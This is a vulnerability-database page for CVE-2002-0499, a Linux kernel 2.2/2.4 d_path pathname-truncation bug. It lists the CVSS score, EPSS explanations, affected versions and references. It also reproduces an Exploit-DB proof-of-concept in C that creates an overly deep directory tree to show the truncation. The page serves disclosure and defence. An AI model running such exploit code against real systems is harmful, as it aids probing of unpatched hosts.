CVE-2002-0499 : Detail

CVE-2002-0499

0.04%V3
Local
2002-06-11
02h00 +00:00
2002-06-15
07h00 +00:00
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CVE Descriptions

The d_path function in Linux kernel 2.2.20 and earlier, and 2.4.18 and earlier, truncates long pathnames without generating an error, which could allow local users to force programs to perform inappropriate operations on the wrong directories.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 21353

Publication date : 2002-03-25
23h00 +00:00
Author : cliph
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/4367/info The Linux kernel d_path() function converts a dentry structure into an ASCII path name. The full path to the specified dentry is returned in a fixed length buffer of size PAGE_SIZE bytes. Reportedly, if a dentry structure is passed with a path which would exceed this length, an erroneous value is returned. The path which is returned has leading entries truncated, and no error is reported. */ /* * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit * * Bug found by cliph */ #include <unistd.h> #include <stdio.h> #include <limits.h> #include <errno.h> #include <paths.h> /* * Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for * trailing '\0' */ #define PATH_COMPONENT "123456789abcdef" void err(char * msg) { if (errno) { perror(msg); exit(1); } } int main() { char buf[PATH_MAX + 1]; /* think of trailing '\0' */ int len; errno = 0; chdir(_PATH_TMP); err("chdir"); /* show CWD before exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s\n", buf); /* creating long directory tree - it must exceed PATH_MAX characters */ for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) { errno = 0; mkdir(PATH_COMPONENT, 0700); if (errno != EEXIST) err("mkdir"); errno = 0; chdir(PATH_COMPONENT); err("mkdir"); } /* show CWD before exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s... [stripped]\n", buf); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.2.0

Linux>>Linux_kernel >> Version 2.2.1

Linux>>Linux_kernel >> Version 2.2.2

Linux>>Linux_kernel >> Version 2.2.3

Linux>>Linux_kernel >> Version 2.2.4

Linux>>Linux_kernel >> Version 2.2.5

Linux>>Linux_kernel >> Version 2.2.6

Linux>>Linux_kernel >> Version 2.2.7

Linux>>Linux_kernel >> Version 2.2.8

Linux>>Linux_kernel >> Version 2.2.9

Linux>>Linux_kernel >> Version 2.2.10

Linux>>Linux_kernel >> Version 2.2.11

Linux>>Linux_kernel >> Version 2.2.12

Linux>>Linux_kernel >> Version 2.2.13

Linux>>Linux_kernel >> Version 2.2.14

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.16

Linux>>Linux_kernel >> Version 2.2.17

Linux>>Linux_kernel >> Version 2.2.18

Linux>>Linux_kernel >> Version 2.2.19

Linux>>Linux_kernel >> Version 2.2.20

Linux>>Linux_kernel >> Version 2.3.0

Linux>>Linux_kernel >> Version 2.3.99

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

References

http://www.securityfocus.com/bid/4367
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/264117
Tags : mailing-list, x_refsource_BUGTRAQ